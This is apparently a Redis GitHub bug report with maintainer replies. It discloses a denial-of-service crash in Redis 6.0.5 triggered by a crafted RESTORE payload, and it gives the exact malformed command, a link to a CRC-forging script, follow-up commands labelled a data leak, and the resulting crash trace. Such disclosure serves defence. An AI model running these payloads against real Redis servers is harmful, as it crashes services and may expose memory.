a denial of service (daemon crash) via a crafted RESTORE command that is mishandled by the __ziplistDelete function in ziplist.c.

script below are used to change and element size and pass crc64 check : -https://gist.github.com/0xPwny/1824650b034106b643c30e22d0b133e5

commands to trigger the crash

FLUSHALL

LPUSH louza "AAAA" LPUSH louza "BBBB" LPUSH louza "CCCC"

FLUSHALL

RESTORE louza 0 "\x0e\x01\x1d\x1d\x00\x00\x00\x16\x00\x00\x00\x03\x00\x00\x04CCCC\x06\x04BBBB\x06\x3fAAAA\xff\t\x00\x88\xa5\xca\xa8\xc5A\xf45" //RESTORE with crafted data

LINEDX louza 2 // data-leak

LSET louza 2 "BEEF"

=== REDIS BUG REPORT START: Cut & paste starting from here === 22582:M 19 Jun 2020 18:29:20.000 # Redis 6.0.5 crashed by signal: 11 22582:M 19 Jun 2020 18:29:20.000 # Crashed running the instruction at: 0x7fe9ce61ee38 22582:M 19 Jun 2020 18:29:20.000 # Accessing address: 0x7fe9ce400000 22582:M 19 Jun 2020 18:29:20.001 # Failed assertion: (:0)

------ STACK TRACE ------ EIP: /lib/x86_64-linux-gnu/libc.so.6(+0x15fe38)[0x7fe9ce61ee38]

Backtrace: ./redis-server :6379(logStackTrace+0x45)[0x478fb5] ./redis-server :6379(sigsegvHandler+0xb9)[0x479779] /lib/x86_64-linux-gnu/libpthread.so.0(+0x11390)[0x7fe9ce89a390] /lib/x86_64-linux-gnu/libc.so.6(+0x15fe38)[0x7fe9ce61ee38] ./redis-server :6379(__ziplistDelete+0x12c)[0x440b4c] ./redis-server :6379(ziplistDelete+0x1d)[0x44143d] ./redis-server :6379(quicklistReplaceAtIndex+0x44)[0x42caf4] ./redis-server :6379(lsetCommand+0xd3)[0x45fb33] ./redis-server :6379(call+0xab)[0x4350cb] ./redis-server :6379(processCommand+0x43f)[0x43596f] ./redis-server :6379(processCommandAndResetClient+0x10)[0x443660] ./redis-server :6379(processInputBuffer+0xdd)[0x4479dd] ./redis-server :6379(readQueryFromClient+0x232)[0x448022] ./redis-server :6379[0x4c5613] ./redis-server :6379(aeProcessEvents+0x2e6)[0x42e706] ./redis-server :6379(aeMain+0x1d)[0x42ea8d] ./redis-server :6379(main+0x4c5)[0x42b0c5] /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7fe9ce4df830] ./redis-server :6379(_start+0x29)[0x42b389]

Comment From: oranagra

@0xPwny thanks for reaching out. This is actually a known issue, however IMHO it's not really a big concern. This is only a problem if the server is exposed to untrusted users (which forge a CRC), and in that case a similar outcome can be achieved by other means such as SHUTDOWN NOSAVE, DEBUG SEGFAULT, EVAL with infinite loop, and others. The problem can possibly be mitigated by ACL if needed, (don't allow untrusted users to run these commands, RESTORE included).

Ideally we should add some boundary checks when processing ziplists to avoid segmentation faults, but in that case we'll want to replace them with assertions (to spot encoding bugs), so the outcome will be similar.

The real solution to the problem is to sanitize the input of RESTORE, and respond with error to the client rather than storing the key to the database, but that would come on the expense of performance.

we're looking into different options for input sanitation, and when it should be enabled. hope to update soon.

Comment From: 0xPwny

thanks for your answer , yeah exactly this case show how an untrusted access can be dangerous , that bug its different than the other mentioned since we can craft a fake dump data and pass the checks . as you said before some boundary checks will be a good solution to prevent such crashes while processing ziplists .

Comment From: oranagra

FYI: This is currently being worked on in #7807